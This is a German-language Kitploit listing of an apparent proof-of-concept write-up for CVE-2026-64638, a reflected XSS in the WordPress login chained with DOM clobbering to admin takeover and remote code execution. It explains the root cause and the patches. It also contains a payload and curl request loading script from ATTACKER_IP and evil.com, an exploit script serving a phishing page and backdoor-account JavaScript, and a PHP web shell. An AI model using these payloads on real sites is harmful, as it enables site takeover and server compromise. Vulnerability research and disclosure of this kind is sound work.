Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-64638 — Proof-of-Concept-Exploit für CVE-2026-64638: reflektiertes XSS im WordPress-Login, verkettet mit DOM Clobbering, zur Übernahme des Admin-Kontos und Remote-Code-Ausführung. | Kitploit
Tools/GitHubGitHub/dungsocool/cve-2026-64638
Phishing-ToolsSchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationWebsicherheitPayload-Entwicklung
GitHubdungsocool/cve-2026-64638

CVE-2026-64638

Proof-of-Concept-Exploit für CVE-2026-64638: reflektiertes XSS im WordPress-Login, verkettet mit DOM Clobbering, zur Übernahme des Admin-Kontos und Remote-Code-Ausführung.

Repository anzeigen
8vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-64638

Reflektiertes XSS auf dem Login-Bildschirm führt zur Ausführung von PHP-Code — WordPress Core

Software: WordPress Core ≤ 7.0.2 (alle Versionen vor 7.0.3)

CVSS: 8.9 (Hoch)

CWE: CWE-79 — Unsachgemäße Neutralisierung von Eingaben während der Webseitengenerierung

Erforderliche Authentifizierung: Keine (Pre-Auth)

Benutzerinteraktion: Aktiv (Admin muss 1 Link anklicken)

Auswirkung: XSS → Kontoübernahme → Remote Code Execution


1. Was ist diese Schwachstelle?

WordPress ist das beliebteste Content-Management-System der Welt und macht über 40 % aller Websites im Internet aus. Jede WordPress-Site hat eine Login-Seite unter /wp-login.php — dies ist ein öffentlicher Endpunkt, den jeder ohne Authentifizierung aufrufen kann.

Wenn ein Benutzer einen falschen Benutzernamen eingibt, zeigt WordPress eine Fehlermeldung an, die genau den Benutzernamen enthält, den der Benutzer gerade eingegeben hat: „Der Benutzername X ist auf dieser Site nicht registriert.“ Das Problem liegt darin, dass der Benutzerwert direkt in die HTML-Antwort eingefügt wird, ohne eine Escape-Funktion zu durchlaufen — ein Angreifer muss lediglich HTML/JavaScript anstelle eines echten Benutzernamens eingeben, und der Code wird im Browser ausgeführt.

Dies ist ein Reflected-XSS-Fehler — das Payload ist in der Anfrage enthalten und wird vom Server unverändert im HTML zurückgespiegelt. Gefährlich macht ihn, dass der Fehler auf der Login-Seite liegt — einem Ort, der häufig von Admins aufgerufen wird und an dem Admin-Session-Cookies gestohlen werden können.

Das Forschungsteam entdeckte außerdem, dass dieses XSS mit einer DOM-Clobbering-Schwachstelle im emoji-loader von WordPress verkettet werden kann, sodass JavaScript von einem externen Server geladen werden kann. Von dort aus kann ein Angreifer ein neues Admin-Konto erstellen → ein Plugin mit einer Webshell installieren → PHP-Code auf dem Server ausführen. Diese Exploit-Kette wird als XSS2Shell bezeichnet.

2. Erklärung der Fachbegriffe

DOM Clobbering und emoji-loader

WordPress lädt auf jeder Seite (einschließlich der Login-Seite) Emoji-Unterstützung über die Datei emoji-loader.js. Dieses Skript liest die Konfiguration aus einem Element mit id="wp-emoji-settings":

root@kitploit:~
// Before patch (vulnerable)
const settings = JSON.parse(
    document.getElementById('wp-emoji-settings').textContent
);

document.getElementById() gibt das erste Element im DOM mit passender ID zurück. Wenn ein Angreifer ein <div id="wp-emoji-settings"> vor dem ursprünglichen Skript-Tag einfügt, liest getElementById den Inhalt des Angreifers anstelle der echten Konfiguration. Diese Technik wird DOM Clobbering genannt — das Überschreiben des JavaScript-Verhaltens durch das Injizieren von HTML-Elementen.

Die Emoji-Konfiguration enthält eine URL zum Laden einer JavaScript-Datei (concatemoji). Der Angreifer kontrolliert diese URL → lädt eine JS-Datei von einem externen Server → führt innerhalb des Browser-Kontexts beliebigen Code aus.

Von XSS zu RCE auf WordPress

Sobald die JavaScript-Ausführung im Admin-Kontext erreicht ist, verfügt der Angreifer über volle WordPress-Admin-Rechte:

  1. Ein neues Admin-Konto erstellen — /wp-admin/user-new.php mit der Admin-Session aufrufen
  2. Ein Plugin mit PHP-Code installieren — ein Plugin über /wp-admin/plugin-install.php hochladen
  3. Eine Theme-Datei modifizieren — eine PHP-Hintertür über den Theme-Editor einfügen

Jede der 3 oben genannten Methoden ermöglicht die Ausführung von PHP-Code auf dem Server — also RCE.

3. Quellcode-Analyse — Grundursache

Schritt 1: Die Senke (Sink) lokalisieren — Wo der Benutzername in HTML eingefügt wird

Aus dem Fix-Commit 0d6d42e auf wordpress-develop habe ich 3 Stellen in der Datei wp-includes/user.php identifiziert, an denen der Benutzername/die E-Mail direkt in die Fehlermeldung eingefügt wird:

root@kitploit:~
# View diff between vulnerable and patched versions
git diff 7.0.2..7.0.3 -- src/wp-includes/user.php

Stelle 1 — Zeile 189 (Benutzername existiert nicht):

Vorher :

root@kitploit:~
// BEFORE (vulnerable):
sprintf(
    __( 'The username <strong>%s</strong> is not registered...' ),
    $username      // ← no escaping
)

image.png

Nachher :

root@kitploit:~
// fixed:
sprintf(
    __( 'The username <strong>%s</strong> is not registered...' ),
    esc_html( $username )    // ← escaped
)

Stelle 2 — Zeile 216 (falsches Passwort):

Vorher :

image.png

root@kitploit:~
// BEFORE:
'<strong>' . $username . '</strong>'    // ← no escaping

Nachher :

root@kitploit:~
// AFTER:
'<strong>' . esc_html( $username ) . '</strong>'

Stelle 3 — Zeile 299 (falsches Passwort für E-Mail):

Vorher :

image.png

root@kitploit:~
// BEFORE:
'<strong>' . $email . '</strong>'    // ← no escaping

Nachher :

root@kitploit:~
// AFTER:
'<strong>' . esc_html( $email ) . '</strong>'

Schritt 2: Die Quelle zurückverfolgen — Woher kommen die Daten?

Datenfluss von der POST-Anfrage bis zur Fehlermeldung:

root@kitploit:~
$_POST['log']                           ← Benutzereingabe aus dem Login-Formular
    ↓
wp_signon() [user.php:51]
    $credentials['user_login'] = wp_unslash($_POST['log'])     ← entfernt nur Backslashes
    ↓
wp_authenticate($username, $password) [pluggable.php:689]
    $username = sanitize_user($username)     ← entfernt HTML-Tags, hat aber einen Bypass
    ↓
wp_authenticate_username_password() [user.php:153]
    get_user_by('login', $username)          ← Benutzer nicht gefunden
    ↓
    sprintf('The username <strong>%s</strong>...', $username)   ← XSS!
    ↓
WP_Error → login_header() → wp_admin_notice()
    wp_kses_post(...)     ← filtert HTML, lässt aber <div>, <a>,  durch
    ↓
HTML-Antwort → Browser-Rendering → JavaScript-Ausführung

Schritt 3: Zwei Verteidigungsebenen, Schwachstellen und Bestätigung per Debugging

WordPress hat 2 Filterebenen, bevor der Benutzername das HTML erreicht:

Ebene 1: sanitize_user() — Ruft strip_tags() auf, um HTML-Tags zu entfernen. Allerdings hat PHP's strip_tags() bekannte Einschränkungen: nicht standardkonforme Tag-Formatierung kann den Filter umgehen.

Ebene 2: wp_kses_post() — Lässt eine sichere Teilmenge von HTML durch, einschließlich <div>, <a>, `` mit bestimmten Attributen (entfernt aber Event-Handler wie onerror, onload). Entscheidend: wp_kses_post erlaubt <div id="wp-emoji-settings"> — genau das Element, das für DOM Clobbering benötigt wird.

Das pwn.ai-Team fand einen Weg, beide Ebenen zu umgehen, um ein nutzbares Payload zu injizieren. Spezifische technische Details wurden nicht öffentlich veröffentlicht.

Debugging mit Xdebug — Bestätigung des Datenflusses

Um visuell zu bestätigen, dass der Benutzername ohne Escaping direkt ins HTML gelangt, habe ich Xdebug + VS Code verwendet, um Haltepunkte an Schlüsselstellen der Ausführungskette zu setzen.

Schritt 1 — XSS-Payload in das Login-Formular eingeben:

Rufe http://localhost:8282/wp-login.php auf, gib als Benutzernamen `` ein und klicke dann auf „Anmelden“. Ein Alert-Popup erscheint — XSS funktioniert.

image.png

image.png

Schritt 2 — Haltepunkt bei user.php:184 — Wo XSS auftritt:

Setze einen Haltepunkt bei return new WP_Error(...) innerhalb der Funktion wp_authenticate_username_password(). Wenn der Debugger anhält, beobachte:

  • Panel Variablen → Lokal: $username = "" — intaktes HTML-Payload, nicht escaped
  • Panel Superglobals → $_POST: log = "" — bestätigt, dass das Payload aus der Formulareingabe stammt
  • Panel Call Stack: wp_authenticate_username_password() → WP_Hook->apply_filters → apply_filters → wp_authenticate → wp_signon → {main} wp-login.php

image.png

Der Wert $username gelangt von $_POST['log'] → wp_unslash() → (umgeht sanitize_user) → sprintf() in die Fehlermeldung in den Zeilen 186–189 — dazwischen kein esc_html(). Im Labor wurde sanitize_user() auskommentiert, um den von pwn.ai entdeckten Bypass zu simulieren.

Schritt 3 — Haltepunkt bei functions.php:9200 — Endgültige Ausgabe:

Setze einen Haltepunkt bei echo wp_get_admin_notice( $message, $args ) — dies ist die letzte Zeile, bevor HTML an den Browser ausgegeben wird:

  • Panel Variablen → Lokal: $message = "<p><strong>Error:</strong> The username <strong></strong> is not registered...</p>" — das Payload befindet sich unversehrt innerhalb der HTML-Fehlermeldung
  • Zeile 9200 wird im Labor nicht von wp_kses_post() umschlossen (herausgepatcht, um den Bypass zu simulieren), sodass das Payload direkt an den Browser geht

image.png

Im ursprünglichen WordPress lautet diese Zeile echo wp_kses_post( wp_get_admin_notice(...) ) — wp_kses_post() entfernt das onerror-Attribut, lässt aber <div id="wp-emoji-settings"> durch, weil <div> in der Whitelist steht. Dies ist der exakte Vektor für den DOM-Clobbering-Angriff.

Schritt 4: Zweiter Fix-Commit — Härtung des emoji-loader

Commit a12c8f5 modifiziert emoji-loader.js, um DOM Clobbering zu blockieren:

root@kitploit:~
// BEFORE (vulnerable): accepts any element with a matching id
const settings = JSON.parse(
    document.getElementById('wp-emoji-settings').textContent
);

// AFTER (fixed): only accepts <script> element
const selector = 'script#wp-emoji-settings';
const script = document.querySelector(selector);
if (!(script instanceof HTMLScriptElement)) {
    throw new Error(`Element missing:${selector}`);
}
const settings = JSON.parse(script.text);

Der Fix ändert 3 Dinge:

  1. Verwendet querySelector('script#...') anstelle von getElementById — matcht nur <script>-Tags
  2. Prüft instanceof HTMLScriptElement — verhindert DOM Clobbering über <div> oder ``
  3. Verwendet .text anstelle von .textContent — .text ist eine spezifische Eigenschaft von HTMLScriptElement

Nach dem Fix ignoriert emoji-loader ein injiziertes <div id="wp-emoji-settings">, selbst wenn ein Angreifer es einschleusen kann, da es kein <script>-Element ist.

4. Angriffskette — XSS2Shell

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  ANGREIFER                                                      │
│  Erstellt Phishing-Link mit XSS-Payload                         │
│  POST /wp-login.php mit log=<div id="wp-emoji-settings">        │
│  {"source":{"concatemoji":"https://evil.com/rce.js"}}           │
└────────────────────────┬────────────────────────────────────────┘
                         │ Sendet Link an Admin (E-Mail, Chat usw.)
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  ADMIN KLICKT LINK                                              │
│  Browser sendet POST an /wp-login.php → Server spiegelt         │
│  Payload → <div id="wp-emoji-settings"> erscheint im HTML       │
└────────────────────────┬────────────────────────────────────────┘
                         │ emoji-loader.js wird ausgeführt
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  DOM CLOBBERING                                                 │
│  getElementById('wp-emoji-settings') → liefert Angreifer-div    │
│  JSON.parse(div.textContent) → liest gefälschte Konfiguration   │
│  Lädt Skript von https://evil.com/rce.js                        │
└────────────────────────┬────────────────────────────────────────┘
                         │ JS wird im Admin-Kontext ausgeführt
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  KONTOÜBERNAHME + RCE                                           │
│  1. /wp-admin/user-new.php abrufen → Nonce erhalten             │
│  2. POST: Neues Admin-Konto erstellen (Hintertür)               │
│  3. Mit Hintertür-Konto anmelden                                │
│  4. Plugin mit PHP-Webshell installieren                        │
│  5. Webshell aufrufen → RCE auf dem Server                      │
└─────────────────────────────────────────────────────────────────┘

5. POC — Reproduktion im Labor

5.1 Endpunkt testen — Basis-XSS

Rufe http://localhost:8282/wp-login.php auf und gib Folgendes ein:

  • Benutzername: ``
  • Passwort: beliebig

Klicke auf „Anmelden“. Wenn ein Alert-Popup mit „localhost“ erscheint → funktioniert XSS.

Ergebnis — Payload wird unversehrt im HTML zurückgespiegelt:

image.png

5.2 DOM Clobbering — Gefälschte Emoji-Einstellungen injizieren

Komplexeres Payload — injiziere ein <div> mit id="wp-emoji-settings", das JSON enthält, das auf die JS-Datei des Angreifers verweist:

image.png

root@kitploit:~
# Payload: inject div clobber emoji-settings
PAYLOAD='<div id="wp-emoji-settings">{"source":{"concatemoji":"http://ATTACKER_IP:9999/evil.js"},"readyCallback":null}</div>'

curl -s -b /tmp/wp-cookies.txt -X POST "http://localhost:8282/wp-login.php" \
  --data-urlencode "log=${PAYLOAD}" \
  -d '&pwd=test&wp-submit=Log+In&testcookie=1' \
  | grep "wp-emoji-settings"

Wenn die HTML-Ausgabe <div id="wp-emoji-settings"> mit dem JSON des Angreifers enthält → lädt emoji-loader das JS vom Server des Angreifers.

5.3 Vollständige Kette — XSS2Shell mit exploit.py

Schritt 1: Exploit-Server starten

root@kitploit:~
python exploit.py --target http://localhost:8282 --lhost 127.0.0.1 --lport 9999

Das Skript exploit.py stellt 2 Dinge bereit:

  • http://127.0.0.1:9999/phish.html — Phishing-Seite, die ein WordPress-Sicherheitsupdate vortäuscht
  • http://127.0.0.1:9999/evil.js — JS-Payload, das ein Admin-Hintertür-Konto erstellt

Schritt 2: Admin klickt den Phishing-Link

Der Angreifer sendet dem Admin den Link http://127.0.0.1:9999/phish.html per E-Mail/Chat. Wenn der Admin klickt:

  1. Die Phishing-Seite sendet automatisch einen POST an /wp-login.php mit einem Benutzernamen, der das XSS-Payload enthält
  2. Die Login-Seite wird gerendert → <div id="wp-emoji-settings"> erscheint im HTML
  3. emoji-loader.js liest das gefälschte div → lädt evil.js vom Server des Angreifers
  4. evil.js läuft im Admin-Browser → ruft /wp-admin/user-new.php ab, um die Nonce zu erhalten → erstellt das Konto backdoor_xss2shell / Pwn3d!XSS2Shell

image.png

Der gesamte Prozess läuft automatisch ab; der Admin sieht nur die normale Login-Seite mit der Fehlermeldung „Benutzername nicht gefunden“.

Schritt 3: Angreifer meldet sich an und lädt Webshell hoch

Im Labor war der Admin bereits mit admin / admin123 angemeldet, sodass evil.js sofort ausgeführt wurde. Nachdem ich Zugriff auf das Konto erhalten hatte, lud ich sofort eine Webshell über ein Plugin hoch:

image.png

root@kitploit:~
<?phpif(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

Schritt 4: RCE — Befehle auf dem Server ausführen

image.png

image.png

Die Ausgabe gab www-data zurück — der Angreifer besitzt nun Befehlsausführungsrechte auf dem Server.

6. Schweregrad & Auswirkung

Auswirkungen in der Praxis

  • Betrifft alle WordPress-Versionen vor 7.0.3
  • Der Endpunkt /wp-login.php ist immer öffentlich und kann nicht versteckt werden (außer durch Plugins, die die Login-URL ändern)
  • Die Login-Seite ist ein natürliches Phishing-Ziel — Admins sind es gewohnt, Links zu Login-Seiten anzuklicken
  • Die Exploit-Kette XSS → DOM Clobbering → Admin-Übernahme → RCE erfordert keine besonderen Bedingungen außer 1 Klick des Admins
  • Selbst ohne Verkettung zu RCE ermöglicht XSS auf der Login-Seite das Stehlen von Session-Cookies (falls HttpOnly nicht korrekt gesetzt ist) oder das Phishing von Anmeldedaten

7. Behebung

Gepatcht in WordPress 7.0.3

Fix 1 — Ausgabe escapen (user.php):

root@kitploit:~
// Add esc_html() to everywhere username/email appears in error messages
esc_html( $username )
esc_html( $email )

Fix 2 — emoji-loader härten (emoji-loader.js):

root@kitploit:~
// Only accept <script> element, do not accept <div> or other elements
const script = document.querySelector('script#wp-emoji-settings');
if (!(script instanceof HTMLScriptElement)) {
    throw new Error('Element missing');
}

Fix 3 — URL escapen (wp-login.php):

root@kitploit:~
// Add esc_url() for wp_login_url() in registration messages
esc_url( wp_login_url() )

Was WordPress-Admins tun sollten

  1. Sofort auf WordPress 7.0.3 aktualisieren — Patch veröffentlicht am 08/06/2026
  2. Bei älteren Versionen (6.x, 5.x, 4.7+) hat WordPress den Fix zurückportiert
  3. Zugriffsprotokolle prüfen: nach POST-Anfragen an /wp-login.php mit HTML-Payload im log-Parameter suchen
  4. Den Einsatz von WAF-Regeln in Betracht ziehen, um HTML-Tags in Login-Formularfeldern zu blockieren
  5. Die Liste der Admin-Benutzer überprüfen — wenn unbekannte Konten gefunden werden, wurde die Site möglicherweise kompromittiert

Lehren für Entwickler

  1. Ausgabe immer escapen, sich nicht ausschließlich auf die Bereinigung der Eingabe verlassen. sanitize_user() ist dazu gedacht, Benutzernamen zu normalisieren, nicht XSS zu verhindern. Defense-in-Depth: Das Escaping am Ausgabepunkt (esc_html, esc_attr, esc_url) ist die letzte und kritischste Verteidigungsebene.
  2. getElementById nicht für sicherheitskritische Daten verwenden. DOM Clobbering kann ein gefälschtes Element mit derselben ID injizieren. querySelector mit spezifischem Tag-Namen + instanceof-Prüfung verwenden.
  3. wp_kses_post ist kein XSS-Filter. Es ist dazu gedacht, sicheres HTML in Beitragsinhalten zu erlauben — nicht, um XSS in anderen Kontexten zu blockieren. Jeder Kontext erfordert seine eigene Escape-Funktion.
Tool herunterladen
AttributWert
CVE-IDCVE-2026-64638
CVSS-Score8.9 (Hoch)
SoftwareWordPress Core ≤ 7.0.2
AuthentifizierungKeine erforderlich (Pre-Auth)
BenutzerinteraktionErfordert 1 Klick (Admin klickt Link)
AngriffskomplexitätHoch
GepatchtWordPress 7.0.3 (08/06/2026)
Reporterpwn.ai-Team über HackerOne
HackerOne-Bericht#3877102
CVSS-MetrikWertBegründung
AngriffsvektorNetzwerkÜber HTTP, indem ein Link an das Opfer gesendet wird
AngriffskomplexitätHochErfordert Bypass von sanitize_user() + wp_kses_post(), erfordert Klick des Opfers
Erforderliche RechteKeineLogin-Endpunkt erfordert keine Authentifizierung
BenutzerinteraktionAktivAdmin muss den Phishing-Link anklicken
VertraulichkeitHochCookies, Session und Admin-Panel-Inhalte lesen
IntegritätHochAdmin-Konto erstellen, Plugin installieren, Dateien ändern
VerfügbarkeitHochRCE → vollständige Serverkontrolle